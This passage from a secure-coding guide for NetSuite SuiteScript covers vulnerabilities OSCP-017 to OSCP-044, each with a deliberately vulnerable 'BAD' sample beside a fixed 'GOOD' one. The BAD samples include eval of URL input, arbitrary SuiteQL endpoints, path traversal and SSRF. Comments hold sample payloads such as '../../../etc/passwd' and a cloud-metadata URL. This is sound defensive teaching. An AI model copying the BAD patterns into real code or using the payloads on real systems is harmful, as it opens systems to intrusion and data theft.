        }

        return { total: order.getValue({ fieldId: 'total' }) };
    };
    return { get };
});

OSCP-017: Privilege Escalation via Execute-as-Admin Deployment

Category: Access Control Severity: Critical Reference: references/04-access-control.md Section 4

Problem: Setting runasrole to ADMINISTRATOR on a script deployment means every user who accesses the script operates with full system privileges, bypassing all permission checks.

<!-- ===== BAD: runasrole ADMINISTRATOR + allroles T ===== -->
<scriptdeployment scriptid="customdeploy_data_export">
    <status>RELEASED</status>
    <runasrole>ADMINISTRATOR</runasrole>
    <allroles>T</allroles>
</scriptdeployment>

<!-- ===== GOOD: Purpose-built role with minimum permissions ===== -->
<scriptdeployment scriptid="customdeploy_data_export">
    <status>RELEASED</status>
    <runasrole>customrole_data_export</runasrole>
    <allroles>F</allroles>
    <roles>
        <role>customrole_sales_manager</role>
        <role>customrole_finance</role>
    </roles>
</scriptdeployment>

OSCP-018: Overly Permissive Deployment Audience (allroles=T)

Category: Access Control Severity: Medium Reference: references/04-access-control.md Section 8

Problem: Setting allroles to T on a script deployment grants access to every role in the system, including low-privilege roles that should never reach the script.

<!-- ===== BAD: allroles=T on sensitive report ===== -->
<scriptdeployment scriptid="customdeploy_salary_report">
    <status>RELEASED</status>
    <allroles>T</allroles>
</scriptdeployment>

<!-- ===== GOOD: Explicit role list ===== -->
<scriptdeployment scriptid="customdeploy_salary_report">
    <status>RELEASED</status>
    <allroles>F</allroles>
    <roles>
        <role>customrole_hr_manager</role>
        <role>customrole_payroll</role>
    </roles>
</scriptdeployment>

OSCP-019: Missing Function-Level Authorization on POST Handlers

Category: Access Control Severity: High Reference: references/04-access-control.md Section 3

Problem: Checking authorization only on the GET (form display) request but not on the POST (form submission) request allows attackers to craft direct POST requests that bypass the authorization check.

// ===== BAD: Authorization on GET only =====
define(['N/record', 'N/runtime'], (record, runtime) => {
    const onRequest = (context) => {
        if (context.request.method === 'GET') {
            if (runtime.getCurrentUser().role !== 3) {
                context.response.write('Access denied.');
                return;
            }
            // Display form...
        }
        if (context.request.method === 'POST') {
            // VULNERABLE: No role check; attacker crafts direct POST
            record.submitFields({
                type: 'customrecord_config', id: 1,
                values: { custrecord_setting: context.request.parameters.value }
            });
        }
    };
    return { onRequest };
});

// ===== GOOD: Authorization on EVERY request method =====
/**
 * @NApiVersion 2.1
 * @NScriptType Suitelet
 */
define(['N/record', 'N/runtime', 'N/log'], (record, runtime, log) => {
    const ADMIN_ROLES = [3];

    const assertAdmin = (context) => {
        const user = runtime.getCurrentUser();
        if (!ADMIN_ROLES.includes(user.role)) {
            log.audit('Auth Failure', { user: user.id, role: user.role, method: context.request.method });
            context.response.setHeader({ name: 'Content-Type', value: 'application/json; charset=utf-8' });
            context.response.write(JSON.stringify({ error: 'Insufficient privileges.' }));
            return false;
        }
        return true;
    };

    const onRequest = (context) => {
        if (!assertAdmin(context)) return;

        if (context.request.method === 'GET') { /* Display form */ }
        if (context.request.method === 'POST') {
            record.submitFields({
                type: 'customrecord_config', id: 1,
                values: { custrecord_setting: context.request.parameters.value }
            });
        }
    };
    return { onRequest };
});

OSCP-020: Horizontal Privilege Escalation (Missing Entity Filter)

Category: Access Control Severity: High Reference: references/04-access-control.md Section 5

Problem: A search or query that returns all records without filtering by the current user's entity allows one user to see another user's data at the same privilege level.

// ===== BAD: No entity filter =====
define(['N/search'], (search) => {
    const onRequest = (context) => {
        // VULNERABLE: returns ALL invoices for ALL customers
        const results = search.create({
            type: 'invoice',
            filters: [['mainline', 'is', 'T']],
            columns: ['tranid', 'total', 'entity']
        }).run().getRange({ start: 0, end: 100 });
        context.response.write(JSON.stringify(results));
    };
});

// ===== GOOD: Filter by current user's entity =====
define(['N/search', 'N/runtime'], (search, runtime) => {
    const onRequest = (context) => {
        const userId = runtime.getCurrentUser().id;
        const results = search.create({
            type: 'invoice',
            filters: [
                ['mainline', 'is', 'T'],
                'AND',
                ['entity', 'is', userId]
            ],
            columns: ['tranid', 'total', 'duedate']
        }).run().getRange({ start: 0, end: 100 });
        context.response.write(JSON.stringify(results));
    };
});

Security Misconfiguration (OSCP-021 to OSCP-024)

OSCP-021: Verbose Error Messages Exposing Internals

Category: Security Misconfiguration Severity: Medium Reference: references/05-security-misconfiguration.md Section 1

Problem: Returning stack traces, internal IDs, script file paths, or record structure details in error responses gives attackers a map of the system.

// ===== BAD: Full error details in response =====
define(['N/record'], (record) => {
    const onRequest = (context) => {
        try {
            record.load({ type: 'salesorder', id: context.request.parameters.id });
        } catch (e) {
            // VULNERABLE: reveals script paths, record structure, error codes
            context.response.write(JSON.stringify({
                error: e.message, stack: e.stack, name: e.name, code: e.code
            }));
        }
    };
});

// ===== GOOD: Generic message with error reference =====
define(['N/record', 'N/log'], (record, log) => {
    const onRequest = (context) => {
        try {
            record.load({ type: 'salesorder', id: context.request.parameters.id });
        } catch (e) {
            const ref = 'ERR-' + Date.now().toString(36).toUpperCase();
            log.error({ title: `Error [${ref}]`, details: { msg: e.message, stack: e.stack } });
            context.response.setHeader({ name: 'Content-Type', value: 'application/json; charset=utf-8' });
            context.response.write(JSON.stringify({
                error: 'An unexpected error occurred.',
                reference: ref
            }));
        }
    };
});

OSCP-022: Debug Logging Enabled in Production

Category: Security Misconfiguration Severity: Medium Reference: references/05-security-misconfiguration.md Section 2

Problem: DEBUG-level logging in production captures all log.debug() calls, which may contain sensitive data (payloads, tokens, PII). Execution logs are accessible to users with script access.

<!-- ===== BAD: DEBUG log level in production ===== -->
<scriptdeployment scriptid="customdeploy_payment">
    <status>RELEASED</status>
    <loglevel>DEBUG</loglevel>
</scriptdeployment>

<!-- ===== GOOD: AUDIT or ERROR for production ===== -->
<scriptdeployment scriptid="customdeploy_payment">
    <status>RELEASED</status>
    <loglevel>AUDIT</loglevel>
</scriptdeployment>

OSCP-023: Test/Debug Endpoints Left in Production

Category: Security Misconfiguration Severity: Critical Reference: references/05-security-misconfiguration.md Section 6

Problem: Development endpoints such as arbitrary SuiteQL execution, environment dump, or test email triggers left in released code provide direct exploitation paths.

// ===== BAD: Debug endpoint executes arbitrary SQL =====
define(['N/query'], (query) => {
    const onRequest = (context) => {
        if (context.request.parameters.action === 'run_query') {
            // EXTREMELY VULNERABLE: Arbitrary SuiteQL from URL
            const sql = context.request.parameters.sql;
            const results = query.runSuiteQL({ query: sql });
            context.response.write(JSON.stringify(results.asMappedResults()));
        }
    };
});

// ===== GOOD: Only explicitly defined actions =====
define(['N/log'], (log) => {
    const VALID_ACTIONS = ['view', 'list', 'export'];

    const onRequest = (context) => {
        const action = context.request.parameters.action;
        if (!VALID_ACTIONS.includes(action)) {
            context.response.setHeader({ name: 'Content-Type', value: 'application/json; charset=utf-8' });
            context.response.write(JSON.stringify({ error: 'Invalid action.' }));
            return;
        }
        // Process only allowlisted actions...
    };
});

OSCP-024: Default/Fallback Credentials in Code

Category: Security Misconfiguration Severity: Critical Reference: references/05-security-misconfiguration.md Section 5

Problem: Code that falls back to a hardcoded credential when the Script Parameter is empty means the real secret is permanently embedded in version control.

// ===== BAD: Fallback to hardcoded key =====
define(['N/https', 'N/runtime'], (https, runtime) => {
    const execute = () => {
        const apiKey = runtime.getCurrentScript().getParameter({ name: 'custscript_api_key' });
        // VULNERABLE: real key used when param is empty
        const effectiveKey = apiKey || 'sk-default-dev-key-abc123';
        https.post({ url: 'https://api.vendor.com/data', headers: { 'Authorization': `Bearer ${effectiveKey}` }, body: '{}' });
    };
});

// ===== GOOD: Fail fast when config is missing =====
define(['N/https', 'N/runtime', 'N/error'], (https, runtime, error) => {
    const execute = () => {
        const apiKey = runtime.getCurrentScript().getParameter({ name: 'custscript_api_key' });
        if (!apiKey) {
            throw error.create({ name: 'MISSING_CONFIG', message: 'custscript_api_key not set.' });
        }
        https.post({ url: 'https://api.vendor.com/data', headers: { 'Authorization': `Bearer ${apiKey}` }, body: '{}' });
    };
});

Cryptography and Data Protection (OSCP-025 to OSCP-028)

OSCP-025: Using Math.random() for Security Tokens

Category: Cryptography and Data Protection Severity: High Reference: references/06-cryptography-data-protection.md Section 9

Problem: Math.random() uses a PRNG that is not cryptographically secure. Tokens generated with it can be predicted by an attacker who observes a few outputs.

// ===== BAD: Math.random() for token generation =====
function generateToken() {
    // VULNERABLE: predictable, low entropy
    return Math.random().toString(36).substring(2);
}

// ===== GOOD: N/crypto for secure random =====
define(['N/crypto/random'], (random) => {
    const generateSecureToken = () => random.generateUUID().replace(/-/g, '');
    return { generateSecureToken };
});

OSCP-026: Weak Hashing Algorithms (MD5/SHA-1)

Category: Cryptography and Data Protection Severity: High Reference: references/06-cryptography-data-protection.md Section 2

Problem: MD5 and SHA-1 are cryptographically broken. Collision attacks are practical, and rainbow tables make password cracking trivial.

// ===== BAD: MD5 hashing =====
define(['N/crypto', 'N/encode'], (crypto, encode) => {
    const hashData = (data) => {
        const h = crypto.createHash({ algorithm: crypto.HashAlg.MD5 });
        h.update({ input: data });
        return h.digest({ outputEncoding: encode.Encoding.HEX });
    };
});

// ===== GOOD: SHA-256 minimum =====
define(['N/crypto', 'N/encode'], (crypto, encode) => {
    const hashData = (data) => {
        const h = crypto.createHash({ algorithm: crypto.HashAlg.SHA256 });
        h.update({ input: data, inputEncoding: encode.Encoding.UTF_8 });
        return h.digest({ outputEncoding: encode.Encoding.HEX });
    };
});

OSCP-027: Hardcoded Encryption Keys

Category: Cryptography and Data Protection Severity: Critical Reference: references/06-cryptography-data-protection.md Section 5

Problem: Encryption keys embedded in source code provide no protection. Anyone with repository access can decrypt the data.

See Principle 5 for NS-specific key management via Script Parameters and the Credentials module.

// ===== BAD: Hardcoded key =====
define(['N/crypto'], (crypto) => {
    const encrypt = (plaintext) => {
        // VULNERABLE: key in source = no encryption
        const key = 'SuperSecretKey2024!';
        const cipher = crypto.createCipher({ algorithm: crypto.EncryptionAlg.AES, key: key });
        cipher.update({ input: plaintext });
        return cipher.final({ outputEncoding: 'hex' });
    };
});

// ===== GOOD: Key from managed GUID =====
define(['N/crypto', 'N/encode', 'N/runtime', 'N/error'], (crypto, encode, runtime, error) => {
    const encrypt = (plaintext) => {
        const keyGuid = runtime.getCurrentScript().getParameter({ name: 'custscript_enc_key_guid' });
        if (!keyGuid) {
            throw error.create({ name: 'MISSING_KEY', message: 'Encryption key GUID not configured.' });
        }
        const secretKey = crypto.createSecretKey({ guid: keyGuid, encoding: encode.Encoding.UTF_8 });
        const cipher = crypto.createCipher({
            algorithm: crypto.EncryptionAlg.AES,
            key: secretKey,
            padding: crypto.Padding.PKCS5Padding
        });
        cipher.update({ input: plaintext, inputEncoding: encode.Encoding.UTF_8 });
        return cipher.final({ outputEncoding: encode.Encoding.HEX }).toString();
    };
});

OSCP-028: Storing Sensitive Data in Plain Text

Category: Cryptography and Data Protection Severity: High Reference: references/06-cryptography-data-protection.md Section 6

Problem: PII, tax IDs, credit card fragments, or health data stored unencrypted in custom records are exposed to anyone with record-level read access.

// ===== BAD: Plain text PII =====
define(['N/record'], (record) => {
    const storeTaxId = (custId, taxId) => {
        record.submitFields({
            type: 'customer', id: custId,
            values: { custentity_tax_id: taxId }
        });
    };
});

// ===== GOOD: Encrypt before storage, mask for display =====
define(['N/record', './lib/SecurityCrypto'], (record, secureCrypto) => {
    const storeTaxId = (custId, taxId) => {
        const encrypted = secureCrypto.encrypt(taxId);
        const masked = '***-**-' + taxId.slice(-4);
        record.submitFields({
            type: 'customer', id: custId,
            values: {
                custentity_encrypted_tax_id: encrypted,
                custentity_masked_tax_id: masked
            }
        });
    };
});

File Upload and Download (OSCP-029 to OSCP-032)

OSCP-029: Path Traversal in File Downloads

Category: File Upload and Download Severity: Critical Reference: references/07-file-upload-download.md Section 4

Problem: If a file path or name accepted from the request contains ../ sequences, an attacker can escape the intended directory and access arbitrary files.

// ===== BAD: User-supplied path used directly =====
define(['N/file'], (file) => {
    const onRequest = (context) => {
        const fileName = context.request.parameters.file;
        // VULNERABLE: fileName = "../../../etc/passwd"
        const filePath = '/SuiteScripts/uploads/' + fileName;
        const fileObj = file.load({ id: filePath });
        context.response.write(fileObj.getContents());
    };
});

// ===== GOOD: Sanitize path and validate =====
define(['N/file', 'N/error'], (file, error) => {
    const sanitizePath = (filepath) => {
        let safe = String(filepath).replace(/\0/g, '').replace(/\\/g, '/');
        if (safe.includes('../') || safe.includes('..\\') || safe.startsWith('/')) {
            throw error.create({ name: 'PATH_TRAVERSAL', message: 'Invalid file path.' });
        }
        return safe.split('/').pop(); // Extract basename only
    };

    const onRequest = (context) => {
        const fileName = sanitizePath(context.request.parameters.file);
        const fileObj = file.load({ id: '/SuiteScripts/uploads/' + fileName });

        context.response.setHeader({ name: 'Content-Disposition', value: `attachment; filename="${fileName}"` });
        context.response.setHeader({ name: 'X-Content-Type-Options', value: 'nosniff' });
        context.response.write(fileObj.getContents());
    };
});

OSCP-030: Unrestricted File Type Upload

Category: File Upload and Download Severity: High Reference: references/07-file-upload-download.md Section 1

Problem: Accepting any file type on upload allows attackers to upload executable files, HTML files containing XSS payloads, or server-side scripts.

// ===== BAD: No file type validation =====
define(['N/file'], (file) => {
    const onRequest = (context) => {
        const uploaded = context.request.files.upload;
        // VULNERABLE: accepts .exe, .html, .js, anything
        uploaded.folder = 123;
        uploaded.save();
    };
});

// ===== GOOD: Allowlist of allowed extensions =====
define(['N/file', 'N/error'], (file, error) => {
    const ALLOWED = ['.pdf', '.csv', '.xlsx', '.png', '.jpg', '.jpeg'];

    const onRequest = (context) => {
        const uploaded = context.request.files.upload;
        const ext = uploaded.name.slice(uploaded.name.lastIndexOf('.')).toLowerCase();

        if (!ALLOWED.includes(ext)) {
            throw error.create({
                name: 'INVALID_FILE_TYPE',
                message: `File type ${ext} is not permitted. Allowed: ${ALLOWED.join(', ')}`
            });
        }

        uploaded.folder = 123;
        uploaded.isOnline = false;
        uploaded.save();
    };
});

OSCP-031: Missing File Size Validation

Category: File Upload and Download Severity: Medium Reference: references/07-file-upload-download.md Section 3

Problem: Accepting files of arbitrary size can exhaust server resources and cause denial of service.

// ===== BAD: No size check =====
define(['N/file'], (file) => {
    const upload = (fileObj) => {
        fileObj.folder = 123;
        fileObj.save(); // could be a multi-GB file
    };
});

// ===== GOOD: Enforce size limits =====
define(['N/file', 'N/error'], (file, error) => {
    const MAX_SIZE = 10 * 1024 * 1024; // 10 MB

    const upload = (fileObj) => {
        if (fileObj.size > MAX_SIZE) {
            throw error.create({
                name: 'FILE_TOO_LARGE',
                message: `File exceeds ${MAX_SIZE / (1024 * 1024)} MB limit.`
            });
        }
        fileObj.folder = 123;
        fileObj.isOnline = false;
        fileObj.save();
    };
});

OSCP-032: Missing MIME Type and Magic Byte Validation

Category: File Upload and Download Severity: Medium Reference: references/07-file-upload-download.md Sections 2 and 6

Problem: Validating only the file extension is insufficient. An attacker can rename a malicious file with an allowed extension. Cross-referencing the MIME type and file magic bytes provides defense in depth.

// ===== BAD: Extension check only =====
const isValid = (name) => name.endsWith('.png');
// An attacker renames malware.exe to malware.png

// ===== GOOD: Extension + MIME type + magic bytes =====
define(['N/file', 'N/encode', 'N/error'], (file, encode, error) => {
    const MAGIC = { '.png': '89504E47', '.jpg': 'FFD8FF', '.pdf': '25504446' };

    const validateFile = (fileObj) => {
        const ext = fileObj.name.slice(fileObj.name.lastIndexOf('.')).toLowerCase();
        const expected = MAGIC[ext];
        if (!expected) return; // No magic bytes for this type

        const headerHex = encode.convert({
            string: fileObj.getContents().substring(0, 8),
            inputEncoding: encode.Encoding.BASE_64,
            outputEncoding: encode.Encoding.HEX
        });

        if (!headerHex.toUpperCase().startsWith(expected)) {
            throw error.create({
                name: 'INVALID_CONTENT',
                message: `File content does not match ${ext} format.`
            });
        }
    };
});

API and RESTlet Security (OSCP-033 to OSCP-036)

OSCP-033: Missing Rate Limiting on RESTlets

Category: API and RESTlet Security Severity: Medium Reference: references/08-api-restlet-security.md Section 3

Problem: Without rate limiting, an attacker can flood a RESTlet with requests to exhaust governance units, overload the system, or brute-force data.

// ===== BAD: No rate limiting =====
define([], () => {
    const post = (requestBody) => {
        // VULNERABLE: unlimited request volume per caller
        return processRequest(requestBody);
    };
    return { post };
});

// ===== GOOD: N/cache-based rate limiting =====
/**
 * @NApiVersion 2.1
 * @NScriptType Restlet
 */
define(['N/cache', 'N/runtime', 'N/error'], (cache, runtime, error) => {
    const LIMIT = 100;
    const WINDOW = 3600;

    const rateLimitCache = cache.getCache({ name: 'rate_limit', scope: cache.Scope.PUBLIC });

    const checkRateLimit = () => {
        const key = String(runtime.getCurrentUser().id);
        const count = parseInt(rateLimitCache.get({ key: key }) || '0', 10);
        if (count >= LIMIT) {
            throw error.create({ name: 'RATE_LIMIT', message: 'Too many requests.' });
        }
        rateLimitCache.put({ key: key, value: String(count + 1), ttl: WINDOW });
    };

    const post = (requestBody) => {
        checkRateLimit();
        return processRequest(requestBody);
    };
    return { post };
});

OSCP-034: Missing Request Schema Validation

Category: API and RESTlet Security Severity: Medium Reference: references/08-api-restlet-security.md Section 2

Problem: Accepting and processing request bodies without validating required fields, types, and lengths allows injection of unexpected data, type confusion, and mass-assignment attacks.

// ===== BAD: Direct processing of raw body =====
define(['N/record'], (record) => {
    const post = (requestBody) => {
        // VULNERABLE: no type checks, no required fields, no length limits
        record.submitFields({
            type: 'customer', id: requestBody.id,
            values: requestBody // mass assignment
        });
    };
    return { post };
});

// ===== GOOD: Schema validation before processing =====
define(['N/record', 'N/error'], (record, error) => {
    const SCHEMA = {
        id: { type: 'number', required: true },
        companyname: { type: 'string', required: true, maxLength: 200 },
        email: { type: 'string', required: false, maxLength: 254 }
    };

    const validate = (body, schema) => {
        const errors = [];
        Object.keys(schema).forEach((field) => {
            const rule = schema[field];
            const val = body[field];
            if (rule.required && (val === undefined || val === null || val === '')) {
                errors.push(`${field} is required`);
            }
            if (val != null && rule.type === 'string' && typeof val !== 'string') {
                errors.push(`${field} must be a string`);
            }
            if (val != null && rule.type === 'number' && typeof val !== 'number') {
                errors.push(`${field} must be a number`);
            }
            if (val != null && rule.maxLength && String(val).length > rule.maxLength) {
                errors.push(`${field} exceeds max length ${rule.maxLength}`);
            }
        });
        if (errors.length) throw error.create({ name: 'VALIDATION_ERROR', message: errors.join('; ') });
    };

    const post = (requestBody) => {
        validate(requestBody, SCHEMA);
        // Pick only expected fields
        record.submitFields({
            type: 'customer', id: requestBody.id,
            values: { companyname: requestBody.companyname, email: requestBody.email }
        });
        return { success: true };
    };
    return { post };
});

OSCP-035: Wildcard CORS Origin

Category: API and RESTlet Security Severity: High Reference: references/08-api-restlet-security.md Section 4

Problem: Setting Access-Control-Allow-Origin: * allows any website to make cross-origin requests to the RESTlet, enabling data theft from authenticated sessions.

// ===== BAD: Wildcard CORS =====
response.setHeader({ name: 'Access-Control-Allow-Origin', value: '*' });

// ===== GOOD: Allowlist specific origins =====
const ALLOWED_ORIGINS = ['https://app.mycompany.com', 'https://portal.mycompany.com'];

const setCORS = (request, response) => {
    const origin = request.headers['Origin'] || '';
    if (ALLOWED_ORIGINS.includes(origin)) {
        response.setHeader({ name: 'Access-Control-Allow-Origin', value: origin });
    }
    response.setHeader({ name: 'Access-Control-Allow-Methods', value: 'GET, POST, PUT, DELETE' });
    response.setHeader({ name: 'Access-Control-Allow-Headers', value: 'Content-Type, Authorization' });
    response.setHeader({ name: 'Access-Control-Max-Age', value: '3600' });
};

OSCP-036: SSRF via User-Controlled URLs

Category: API and RESTlet Security Severity: High Reference: references/08-api-restlet-security.md Section 9

Problem: If a script makes HTTP requests to URLs provided by the user without validation, an attacker can probe internal network services, read cloud metadata endpoints, or access restricted resources.

// ===== BAD: User-supplied URL passed directly to N/https =====
define(['N/https'], (https) => {
    const post = (requestBody) => {
        // VULNERABLE: requestBody.webhookUrl = "http://169.254.169.254/latest/meta-data/"
        const response = https.get({ url: requestBody.webhookUrl });
        return { status: response.code };
    };
    return { post };
});

// ===== GOOD: Protocol + host allowlist =====
define(['N/https', 'N/error'], (https, error) => {
    const ALLOWED_HOSTS = ['hooks.slack.com', 'webhook.mypartner.com'];

    const validateUrl = (url) => {
        const parsed = new URL(url);
        if (parsed.protocol !== 'https:') {
            throw error.create({ name: 'INVALID_URL', message: 'Only HTTPS allowed.' });
        }
        if (!ALLOWED_HOSTS.includes(parsed.hostname)) {
            throw error.create({ name: 'INVALID_URL', message: 'Host not in allowlist.' });
        }
        return parsed.href;
    };

    const post = (requestBody) => {
        const safeUrl = validateUrl(requestBody.webhookUrl);
        const response = https.get({ url: safeUrl });
        return { status: response.code };
    };
    return { post };
});

Client-Side Security (OSCP-037 to OSCP-041)

OSCP-037: Missing CSP Headers on Suitelets

Category: Client-Side Security Severity: Medium Reference: references/09-client-side-security.md Section 1, references/appendices/appendix-csp-header-templates.md

Problem: Without Content-Security-Policy headers, any injected script executes in the user's browser. CSP acts as a second line of defense when encoding is missed.

// ===== BAD: No CSP header =====
define([], () => {
    const onRequest = (context) => {
        context.response.write('<html><body>My App</body></html>');
    };
});

// ===== GOOD: Strict CSP =====
define([], () => {
    const onRequest = (context) => {
        context.response.setHeader({
            name: 'Content-Security-Policy',
            value: [
                "default-src 'self'",
                "script-src 'self' https://*.netsuite.com",
                "style-src 'self' 'unsafe-inline' https://*.netsuite.com",
                "img-src 'self' data: https://*.netsuite.com",
                "frame-ancestors 'self'",
                "form-action 'self'",
                "base-uri 'self'"
            ].join('; ')
        });
        context.response.setHeader({ name: 'X-Content-Type-Options', value: 'nosniff' });
        context.response.setHeader({ name: 'X-Frame-Options', value: 'SAMEORIGIN' });
        context.response.write('<html><body>My App</body></html>');
    };
});

OSCP-038: Wildcard postMessage Origins

Category: Client-Side Security Severity: High Reference: references/09-client-side-security.md Section 5

Problem: Sending or receiving postMessage without checking the origin allows any website to send malicious messages to the script or receive data from it.

// ===== BAD: No origin check on message listener =====
window.addEventListener('message', (e) => {
    // VULNERABLE: accepts messages from any origin
    processData(e.data);
});

// ===== BAD: Wildcard origin on postMessage send =====
targetWindow.postMessage(sensitiveData, '*');

// ===== GOOD: Exact origin validation =====
const TRUSTED_ORIGIN = 'https://1234567.app.netsuite.com';

window.addEventListener('message', (e) => {
    if (e.origin !== TRUSTED_ORIGIN) return; // Reject untrusted origins
    processData(e.data);
});

// GOOD: Specific origin on send
targetWindow.postMessage(data, TRUSTED_ORIGIN);

OSCP-039: Missing CSRF Tokens on State-Changing Forms

Category: Client-Side Security Severity: High Reference: references/09-client-side-security.md Section 3

Problem: Without CSRF tokens, an attacker's website can submit a form to the Suitelet, performing actions on behalf of the victim's authenticated session.

// ===== BAD: No CSRF token =====
define([], () => {
    const onRequest = (context) => {
        if (context.request.method === 'GET') {
            // No CSRF token generated
            context.response.write('<form method="POST"><input name="action" value="delete"><button>Submit</button></form>');
        }
        if (context.request.method === 'POST') {
            // No CSRF validation
            performAction(context.request.parameters.action);
        }
    };
});

// ===== GOOD: CSRF token generated and validated =====
/**
 * @NApiVersion 2.1
 * @NScriptType Suitelet
 */
define(['N/cache', 'N/crypto/random', 'N/runtime', 'N/error'], (cache, random, runtime, error) => {
    const csrfCache = cache.getCache({ name: 'csrf_tokens', scope: cache.Scope.PRIVATE });

    const generateCsrfToken = () => {
        const token = random.generateUUID().replace(/-/g, '');
        csrfCache.put({ key: token, value: 'valid', ttl: 1800 });
        return token;
    };

    const validateCsrfToken = (token) => {
        if (!token || csrfCache.get({ key: token }) !== 'valid') {
            throw error.create({ name: 'CSRF_INVALID', message: 'Invalid or expired CSRF token.' });
        }
        csrfCache.remove({ key: token }); // Single-use
    };

    const escapeHtml = (s) => String(s).replace(/&/g,'&amp;').replace(/</g,'&lt;')
        .replace(/>/g,'&gt;').replace(/"/g,'&quot;').replace(/'/g,'&#x27;');

    const onRequest = (context) => {
        if (context.request.method === 'GET') {
            const token = generateCsrfToken();
            context.response.write(`<form method="POST">
                <input type="hidden" name="csrf_token" value="${escapeHtml(token)}">
                <input name="action" value="delete">
                <button>Submit</button>
            </form>`);
        }
        if (context.request.method === 'POST') {
            validateCsrfToken(context.request.parameters.csrf_token);
            performAction(context.request.parameters.action);
        }
    };
    return { onRequest };
});

OSCP-040: Using eval(), new Function(), or setTimeout(string)

Category: Client-Side Security Severity: Critical Reference: references/03-xss-output-encoding.md Section 3

Problem: eval(), new Function(), and string-form setTimeout/setInterval execute arbitrary code. If any user input reaches these sinks, the attacker achieves full JavaScript execution in the victim's browser.

// ===== BAD: eval with user input =====
define([], () => {
    const pageInit = () => {
        const action = new URLSearchParams(window.location.search).get('action');
        eval(action); // VULNERABLE: arbitrary code execution
    };
    return { pageInit };
});

// ===== GOOD: Allowlist of callable actions =====
define([], () => {
    const actions = {
        refresh: () => window.location.reload(),
        scrollTop: () => window.scrollTo(0, 0),
        togglePanel: () => {
            const p = document.getElementById('panel');
            p.style.display = p.style.display === 'none' ? 'block' : 'none';
        }
    };

    const pageInit = () => {
        const action = new URLSearchParams(window.location.search).get('action');
        if (action && actions[action]) {
            actions[action]();
        }
    };
    return { pageInit };
});

OSCP-041: Sensitive Data in Local Storage

Category: Client-Side Security Severity: Medium Reference: references/09-client-side-security.md Section 8

Problem: localStorage and sessionStorage are accessible to any JavaScript running on the same origin. If an XSS vulnerability exists, stored tokens, PII, or session data can be exfiltrated.

// ===== BAD: Auth token in localStorage =====
localStorage.setItem('authToken', 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...');
localStorage.setItem('userSSN', '123-45-6789');

// ===== GOOD: Avoid storing sensitive data client-side =====
// Use HttpOnly cookies for session management (not accessible via JS)
// If temporary client-side state is needed, use sessionStorage with non-sensitive data only
sessionStorage.setItem('uiPreference', 'dark-mode');
// For sensitive operations, make a server-side call each time

Logging and Monitoring (OSCP-042 to OSCP-044)

OSCP-042: Missing Audit Trail Logging

Category: Logging and Monitoring Severity: Medium Reference: references/10-logging-monitoring.md Sections 1 and 5

Problem: Security-relevant events (authentication, authorization failures, data modifications, configuration changes) that are not logged leave no evidence for incident response or forensic analysis.

// ===== BAD: No logging of security events =====
define(['N/record'], (record) => {
    const deleteCustomer = (custId) => {
        // VULNERABLE: no audit trail of who deleted what
        record.delete({ type: 'customer', id: custId });
    };
});

// ===== GOOD: Structured audit logging =====
define(['N/record', 'N/runtime', 'N/log'], (record, runtime, log) => {
    const deleteCustomer = (custId) => {
        const user = runtime.getCurrentUser();
        log.audit('DATA_DELETE', JSON.stringify({
            action: 'DELETE',
            recordType: 'customer',
            recordId: custId,
            userId: user.id,
            role: user.role,
            timestamp: new Date().toISOString()
        }));
        record.delete({ type: 'customer', id: custId });
    };
});

OSCP-043: Logging Sensitive Data (PII, Credentials)

Category: Logging and Monitoring Severity: Critical Reference: references/10-logging-monitoring.md Section 2

Problem: Passwords, API keys, tokens, SSNs, credit card numbers, and other sensitive data written to logs are exposed to anyone with execution log access and may violate PCI-DSS, HIPAA, or GDPR.

// ===== BAD: Logging credentials and PII =====
define(['N/log', 'N/runtime'], (log, runtime) => {
    const execute = () => {
        const apiKey = runtime.getCurrentScript().getParameter({ name: 'custscript_api_key' });
        log.debug('API Key', apiKey); // VULNERABLE: credential in log
        log.debug('Customer', JSON.stringify({ name: 'Doe', ssn: '123-45-6789' }));
    };
});

// ===== GOOD: Redact sensitive fields =====
define(['N/log', 'N/runtime'], (log, runtime) => {
    const SENSITIVE = ['ssn', 'password', 'apikey', 'token', 'secret', 'creditcard'];

    const redact = (obj) => {
        const safe = {};
        for (const [key, value] of Object.entries(obj)) {
            if (SENSITIVE.some((s) => key.toLowerCase().includes(s))) {
                safe[key] = '[REDACTED]';
            } else {
                safe[key] = value;
            }
        }
        return safe;
    };

    const execute = () => {
        const apiKey = runtime.getCurrentScript().getParameter({ name: 'custscript_api_key' });
        log.audit('Integration', { hasApiKey: !!apiKey }); // Log existence, not value
        log.audit('Customer', JSON.stringify(redact({ name: 'Doe', ssn: '123-45-6789' })));
    };
});

OSCP-044: Insufficient Monitoring (No Alerting on Suspicious Patterns)

Category: Logging and Monitoring Severity: Medium Reference: references/10-logging-monitoring.md Sections 7 and 8

Problem: Logging events without monitoring or alerting means breaches go undetected. Repeated authentication failures, sudden spikes in API calls, or access to restricted records should trigger alerts.

// ===== BAD: Log and forget =====
define(['N/log'], (log) => {
    const onAuthFailure = (userId) => {
        log.audit('Auth Failure', `User ${userId} failed login.`);
        // No tracking of failure count, no alert
    };
});

// ===== GOOD: Track failure counts and trigger alerts =====
/**
 * @NApiVersion 2.1
 * @NScriptType Suitelet
 */
define(['N/log', 'N/cache', 'N/email', 'N/runtime'], (log, cache, email, runtime) => {
    const ALERT_THRESHOLD = 5;
    const failureCache = cache.getCache({ name: 'auth_failures', scope: cache.Scope.PUBLIC });

    const onAuthFailure = (userId) => {
        const key = 'fail_' + userId;
        const count = parseInt(failureCache.get({ key: key }) || '0', 10) + 1;
        failureCache.put({ key: key, value: String(count), ttl: 900 }); // 15-minute window

        log.audit('AUTH_FAILURE', JSON.stringify({
            userId: userId,
            failureCount: count,
            timestamp: new Date().toISOString()
        }));

        if (count >= ALERT_THRESHOLD) {
            log.audit('SECURITY_ALERT', `Repeated auth failures for user ${userId}: ${count} in 15 min.`);
            email.send({
                author: runtime.getCurrentUser().id,
                recipients: ['security-team@company.com'],